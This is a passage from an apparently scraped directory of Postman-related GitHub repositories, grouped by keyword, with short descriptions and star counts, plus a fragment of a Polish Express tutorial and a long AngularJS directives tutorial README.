Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
tobiashochguertel/postman-proxy_server.py
fixed, proxy, server, server. 		Postman Proxy Server fixed. 0 stars 0 watchers 0 forks

methods (14 listings) (Back to Top)

TakuCoder/postman
desktop, desktops, devices, header, including, method, methods, parameter, pretty, stat, status, style, submit, support, supported, test, testing, tool 		Postman is a REST API testing tool for Android devices. It helps to test REST API without desktops. can submit a HTTP request with several headers, parameters and raw request body by 6 different HTTP methods including GET, POST, HEAD, PUT, DELETE and PATCH. HTTP response can be shown as three styles including pretty, raw and preview. Response status code and headers are also supported in Postman-Android. Currently in Development Stage 3 stars 3 watchers 2 forks
RS-codes/BooksFlaskAPI
codes, method, methods 		Flask | Python | HTTPmethods | Postman | Application | API | Sqlite DB | Integration | UserAuthentication 1 stars 1 watchers 0 forks
alexanderkounadis/Angular-7-CRUD
client, client side, consume, consumes, method, methods, require, required, retrieve, server 		Angular 7 CRUD with Asp.Net Core Web API CRUD Operations - Insert, update, delete and retrieve are implemented in Asp.Net Core Web API with Angular 7. First of all we'll build a Web API project in Asp.Net Core with required methods at server side using Entity Framework Core and SQL Server DB. Then Angular 7 Project consumes those methods from client side. Points discussed : - How to create Web API in Asp.Net Core with CRUD web methods. - Enable CORS in Asp.Net Core. - Angular Form Design with Validation. Tools Used : VS Code, Visual Studio, SSMS, Postman. 0 stars 0 watchers 1 forks
zachdj/rpp-algorithms
find, method, methods, tours 		Implementation of two heuristic methods to find good tours for the Rural Postman Problem (RPP) 0 stars 0 watchers 1 forks
alexanderkounadis/Angular-7-CRUD-WebAPI
client, client side, consume, consumes, method, methods, require, required, retrieve, server 		Angular 7 CRUD with Asp.Net Core Web API CRUD Operations - Insert, update, delete and retrieve are implemented in Asp.Net Core Web API with Angular 7. First of all we'll build a Web API project in Asp.Net Core with required methods at server side using Entity Framework Core and SQL Server DB. Then Angular 7 Project consumes those methods from client side. Points discussed : - How to create Web API in Asp.Net Core with CRUD web methods. - Enable CORS in Asp.Net Core. - Angular Form Design with Validation. Tools Used : VS Code, Visual Studio, SSMS, Postman. 0 stars 0 watchers 0 forks
andreshincapie82132/postman_methods
method, methods, resource, resources, source 		A short repository with most useful posman resources 0 stars 0 watchers 0 forks
andynhn/java-spring-mvc-demo-books
book, books, endpoint, endpoints, java, method, methods, spring, test 		Add update and delete methods and test the endpoints with Postman 0 stars 0 watchers 0 forks
anthonyvallee/riot-api-postman
collection, method, methods, parameter, parameterized, riot 		Postman request collection that can be parameterized for all of League of Legends' API methods. 0 stars 0 watchers 0 forks
beata-krasnopolska/TodoApi
class, controller, data, database, learn, method, methods, model, path, routing, tutorial 		The project made on according to the tutorial: Create a web API with ASP.NET Core. It allowed to learn how to create a web API project, Add a model class and a database context, Add a controller, Add CRUD methods, Configure routing and URL paths, Specify return values, Call the web API with Postman. 0 stars 0 watchers 0 forks
cpollet/postman-maven-plugin
class, collection, export, maven, method, methods, plugin 		A maven plugin to export JAX-RS annotated classes and methods to Postman collection 0 stars 0 watchers 0 forks
ekor15/ConnectFour
attempt, component, file, game, level, method, methods, rest, rest api 		an attempt to create a level 2 rest api for component base connect four game add postman file for methods calls 0 stars 0 watchers 0 forks
Mattcat1995/DataBaseTestProject
connection, data, database, method, methods, test 		Goal of the project is to get a Django connection to a SQL database and test the methods with postman 0 stars 0 watchers 0 forks
naguibihab/postman-tests
method, methods, test, tests 		Some test methods using postman 0 stars 0 watchers 0 forks
Smomic/PostmanProblem
comparison, method, methods, problem 		Solving simplified Chinese postman problem by exact and heuristic algorithms and comparison these methods. 0 stars 0 watchers 0 forks

coding (14 listings) (Back to Top)

coding-yogi/bombardier
coding, collection, postman collection, test, testing, tool 		Rust based HTTP load testing tool using postman collection 14 stars 14 watchers 4 forks
postmanlabs/postman-url-encoder
coding, encoding, spec, specification 		Implements URL encoding according to the WHATWG specification 5 stars 5 watchers 5 forks
aWhereAPI/API-Postman-Collections
application, coding, collection, collections, form, free, play, playing 		Use these Postman collections to start playing with the aWhere API Platform without coding. Requires the free Chrome application, Postman, from getpostman.com 0 stars 0 watchers 8 forks
benmangold/ffmpeg-service
coding, docker, dockerized, encoding, node, service 		a dockerized node.js service for encoding with ffmpeg 0 stars 0 watchers 2 forks
CiscoDevNet/coding-101
coding, collection, example, examples 		Postman collection examples 0 stars 0 watchers 2 forks
perostman/christmas2018
coding 		TCB/postman coding dojo Christmas 2018 0 stars 0 watchers 1 forks
coding-eval-platform/postman
coding, collection, collections, environment, environments, form, platform 		Repository containing postman stuff, such as collections and environments 0 stars 0 watchers 0 forks
coding-saints/node-jwt-postman
coding, description, node, script 		No description available. 0 stars 0 watchers 0 forks
brcodingdev/arctouchpostman
coding, collection 		Postman collection for code challenge of ArcTouch 0 stars 0 watchers 0 forks
coffeecupcoding/tprt
coding, list, listing 		The Postman Rings Twice - A greylisting policy daemon for use with Postfix 0 stars 0 watchers 0 forks
julielearncoding/PageObjectWithPageFactories
actor, coding, learn, test 		This is a test repository created by Postman 0 stars 0 watchers 0 forks
Nihal-197/MMM
coding, config, data, end to end, file, knowledge, model, test, tested, user, wiki 		A complete end to end Market Mix Model. Furthermore created an API and successfully tested on postman. Ready to deploy model to any data, with the only change in config file( complete API works as a black box for the user requiring no knowledge of coding). Includes the wiki page for more detailed explanation 0 stars 0 watchers 0 forks
payouri/coding-a-web-api
coding, data, express, mongo, node, store 		Practice PostMan, create a node/express/mongo web api to store and manage my own datas and have fun. 0 stars 0 watchers 0 forks
vikpande/google-geocoding
address, coding, google, integration, query 		An API to query address and latitude+longitude from Google's Geocoding API integration 0 stars 0 watchers 0 forks

gateway (14 listings) (Back to Top)

yuun/aws-apigateway-exporter
export, exporter, exporting, extension, extensions, file, form, format, gateway, integration, json, script, swagger, yaml 		Python script for exporting an API Gateway stage to a swagger file, in yaml or json format, with Postman or API Gateway integrations extensions. 8 stars 8 watchers 1 forks
ngetha/postman
gateway, mobile, money 		a B2C mobile money gateway 4 stars 4 watchers 6 forks
zegetech/postmans-payments-kenya
collection, gateway, integration, kenya, payment 		Postman collection of payment gateway integration in Kenya 1 stars 1 watchers 1 forks
zegetech/postmans-payment-gateways
collection, gateway, integration, payment 		Postman collection of payment gateway integration 0 stars 0 watchers 3 forks
foonster/postman
file, form, format, gateway, generic, mail, operation, operationa, options, parse, parses, process, result, script, send, sends, spec, user, users, variable, variables 		Postman is a generic PHP processing script to the e-mail gateway that parses the results of any form and sends them to the specified users. This script has many formatting and operational options, most of which can be specified within a variable file "_variables.php" each form. 1 stars 1 watchers 0 forks
Malligarjunan/apigateway
collection, collections, developer, gateway, postman collection, postman collections, sample, samples, tutorial, tutorials 		API Gateway postman collections of APIs and developer tutorials samples 0 stars 0 watchers 2 forks
api-evangelist/deploy-api-to-aws-api-gateway-using-postman
collection, gateway, list 		Deploying an API to AWS API Gateway using a Postman collection. 0 stars 0 watchers 1 forks
zegetech/postmans-payments-global
collection, gateway, integration, intern, internationally, payment 		Postman collection of payment gateway integration internationally 0 stars 0 watchers 1 forks
Unogwudan/currency-converter-zuul-api-gateway-server
cloud, convert, converte, converter, currency, data, database, gateway, server, service, zuul 		Zuul API Gateway Server Microservice for a currency converter developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
KiiPlatform/gateway-agent-postman
agent, content, contents, form, gateway, local, test, testing 		postman contents for gateway-agent local REST api testing 0 stars 0 watchers 0 forks
BenSlabbert/grpc-gateway-example
example, gateway, grpc, proxy, service 		Example project using gRPC Gateway as a REST proxy to a gRPC service 0 stars 0 watchers 0 forks
mark-kumoco/api-gateway-test2
boot, course, endpoint, endpoints, gateway, host, local, mvnw, spring, test 		Simple REST app. Start app with: ./mvnw spring-boot:run or .\mvnw.cmd spring-boot:run Then, browse to localhost:8080. These endpoints are created: /hello, /topics, /topics/{id}. To make a HTTP POST request you can use Postman, of course. 0 stars 0 watchers 0 forks
NayemSayed/sslcommerz_session_request_postman
example, gateway, initiate, payment 		Postman example to initiate payment request to SSLCOMMERZ payment gateway using Sandbox(Test Environment) 0 stars 0 watchers 0 forks
ravishankarsingh1996/Stripe-Postman-Collection
collection, gateway, implementation, payment, postman collection, stripe 		A postman collection of stripe payment gateway implementation. 0 stars 0 watchers 0 forks

event (14 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
mynewsdesk/postman
email, event, filter, mail, news 		Search and filter Sendgrid email events 5 stars 5 watchers 0 forks
imvamsi/ReactDiary
application, contact, event 		MERN application for contact keeping and event maintaining 📕 1 stars 1 watchers 0 forks
brodoyoueventest-io/openweathermap
collection, collections, environment, environments, event, test, testing, weather 		Postman collections and environments for testing the OpenWeatherMap API 0 stars 0 watchers 0 forks
AkramYamin/question_tag
event 		Predict most relevent tag for text 0 stars 0 watchers 0 forks
atljoseph/api.go.josephgill.io
api blueprint, asyncapi, bucket, data, database, event, eventually, golang, image, images, json schema, lang, manages, mysql, oauth, openid, progress, site, sql, website 		This is a work in progress which will eventually become part of my website. It is a golang api which manages a mysql database and images in an s3 bucket. 0 stars 0 watchers 0 forks
bakersen/iReporter2
account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video 		iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators 0 stars 0 watchers 0 forks
EmanuelGabriel/webservice-eventos
event, service, webservice 		Criação de um webservice com Spring Boot 0 stars 0 watchers 0 forks
ge-emerging-verticals-src/event-audit-trail-postman-collection
collection, emerging, event, interacting, sample 		A sample collection for interacting with the Event Audit Trail Service on Predix 0 stars 0 watchers 0 forks
gsuscastellanosSC/CursoBackendConNode.js
backend, event, form, http, https, node, nodejs, program 		Introducción y bienvenida Guillermo Rodas será tu profesor en este curso, él tiene más 6 años dedicado a programar sólo en JavaScript y forma parte del equipo de Auth0, además de ser Google Developer Expert (GDE) en Web Technologies y organizador de eventos como Medellin CSS y CSS Conf. Requisitos antes de iniciar: Node y NPM Editor de texto ya sea vsCode, Atom o Sublime Text Navegador Chrome o Firefox Extensión JSON viewer Postman en @platzi https://platzi.com/clases/1646-backend-nodejs/22012-introduccion-y-bienvenida/ 💚💚💚 0 stars 0 watchers 0 forks
iidrees/Events-Manager
application, center, event 		An application that allows Event Centers owners provide centers to event planners who may be looking for a good event center to use for their events 0 stars 0 watchers 0 forks
jeffubayi/Events-Organizer
application, event, mini, schedule, scheduler, sort, version 		An event scheduler application, sort of like a mini version of Eventbrite/Meetup 0 stars 0 watchers 0 forks
psn30595/Universal-Ticket-Generation-Service-for-Events
book, booking, cloud, event, form, generation, movie, movies, platform, published, site, sports, ticket, tickets, website 		Developed a ticket booking website which is used to book tickets for the concert, movies and sports events by using various API’s. Created ticket generation API for others and published on the Microsoft Azure cloud platform. Technologies used: C#.NET, Microsoft Azure, Visual Studio 2017, Microsoft SQL Server 2017, Postman. 0 stars 0 watchers 0 forks
raviskarra/vsSampleTickets
data, engine, engineering, event, ticket, tickets 		data engineering event tickets 0 stars 0 watchers 0 forks

social (14 listings) (Back to Top)

jolie1191/Eng-Connector-React-Nodejs-Project
auth, authentication, backed, backend, dashborad, file, files, network, posts, profile, profiles, social, stat 		- A small social network with authentication, profiles, dashborad, posts - More Details: - Create backedn API with Node/Express - Test with Postman - Explore the Bootstrap Theme - Implement React and connect with the backend - Implement Redux for state management - Prepare, build & deploy to Heroku 1 stars 1 watchers 0 forks
justinal64/thesocialappv3
social 		Backend Restful Api for a Mobile App 1 stars 1 watchers 0 forks
markande98/Friendbook-Socialmedia-App--server-side-
backend, book, cloud, firebase, media, server, social, storage 		This is social media app. I am using firebase (cloud storage), postman here for the backend. 1 stars 1 watchers 0 forks
MatthewWid/Shoutout
media, site, social 		📢 News sharing and social media site made with Node, React and MongoDB. 1 stars 1 watchers 0 forks
SalahEddine007/mern_devconnector
action, application, backend, bank, basics, component, components, container, course, editor, elegant, endpoint, endpoints, extension, frontend, includes, integrate, mern, network, rating, resource, resources, route, routes, script, social, source, stat, test, testing, workflow 		Welcome to "MERN Stack Front To Back". In this course we will build an in depth full stack social network application using Node.js, Express, React, Redux and MongoDB along with ES6+. We will start with a bank text editor and end with a deployed full stack application. This course includes... Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension Creating a build script, securing our keys and deploy to Heroku using Git This is NOT an "Intro to React" or "Intro to Node" course. It is a practical hands on course for building an app using the incredible MERN stack. I do try and explain everything as I go so it is possible to follow without React/Node experience but it is recommended that you know at least the basics first. 0 stars 0 watchers 0 forks
guys1444/node.js-socialNetwork
action, backend, component, components, container, elegant, endpoint, endpoints, extension, frontend, integrate, node, rating, resource, resources, route, routes, social, source, stat, test, testing, workflow 		socialNetwork that ive made in node.js Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension ,MERN STACK 0 stars 0 watchers 0 forks
apoorva-chitre/DevConnect
collaborate, network, social 		A social network app for Developers to connect and collaborate. 0 stars 0 watchers 0 forks
briang123/Social-Media-Site
media, site, social, stat, website 		Code Along in React, Express, Node, and MongoDB - Demo app using the MERN stack to create a social media website. I'm using Redux for state management and Boostrap for styling. The site was deployed to Heroku. 0 stars 0 watchers 0 forks
majdbk/JAVA-EE-Women-Empowerment-Plateform
development, form, news, sessions, social, training, user, users 		Design / Backend development of the Women empowerment plateform, a social news plateform where users can manage and participate in training sessions and give their feedback. Tools: Java/JEE, JBOSS/Wildfly, PostgreSQL, Postman, Apache Maven, Hibernate ORM 0 stars 0 watchers 0 forks
pramodkondur/REST-social-app
application, boot, concept, data, database, eclipse, exchange, form, format, media, service, services, social, util, utilizing 		A social media application implementing the RESTful Web Services using JSON exchange format done in Java. The main aim for working on this project was to understand the concept of REST web services. Done in eclipse utilizing Springboot, Hibernate, Postman and uses H2 as database 0 stars 0 watchers 0 forks
rayasocialmedia/postman
media, social 		Notifications for Rails 3 0 stars 0 watchers 0 forks
socialwarespace/postman-pechkin
social 		News aggregator bot for Telegram 0 stars 0 watchers 0 forks
sorayaleon/redSocial
funciona, social 		¡¡Programación en curso!! Red social hecha con Node.js como backEnd y Angular como frontEnd. El funcionamiento de la API ha sido comprobada con Postman 0 stars 0 watchers 0 forks
VPihalov/Social-network
auth, authentication, developer, developers, file, files, forum, implementation, implementations, includes, network, posts, profile, profiles, social 		It is a social network app for developers that includes authentication, profiles, forum posts. App is based on MERN stack (MongoDB, Mongoose, React, Redux, Nodejs, Express). Main implementations are React Hooks, Redux, Postman, Bcrypt, Heroku, Git flow 0 stars 0 watchers 0 forks

books (14 listings) (Back to Top)

deeplook/ipyrest
book, books, emerging, exploring, note, rest 		An emerging widget for exploring RESTful APIs in Jupyter notebooks. 17 stars 17 watchers 1 forks
bhawna2109/Librarian
book, books, case, check, collection, data, database, library, office, search, storing 		Librarian is a Postman collection that allows you to use Slack to check the availability of a book in your office library. In this case, we are searching for the book using a Slack app, and also storing the books that we have in the Postman office using Airtable as a database. 1 stars 1 watchers 0 forks
Umang080799/CRUD-App-
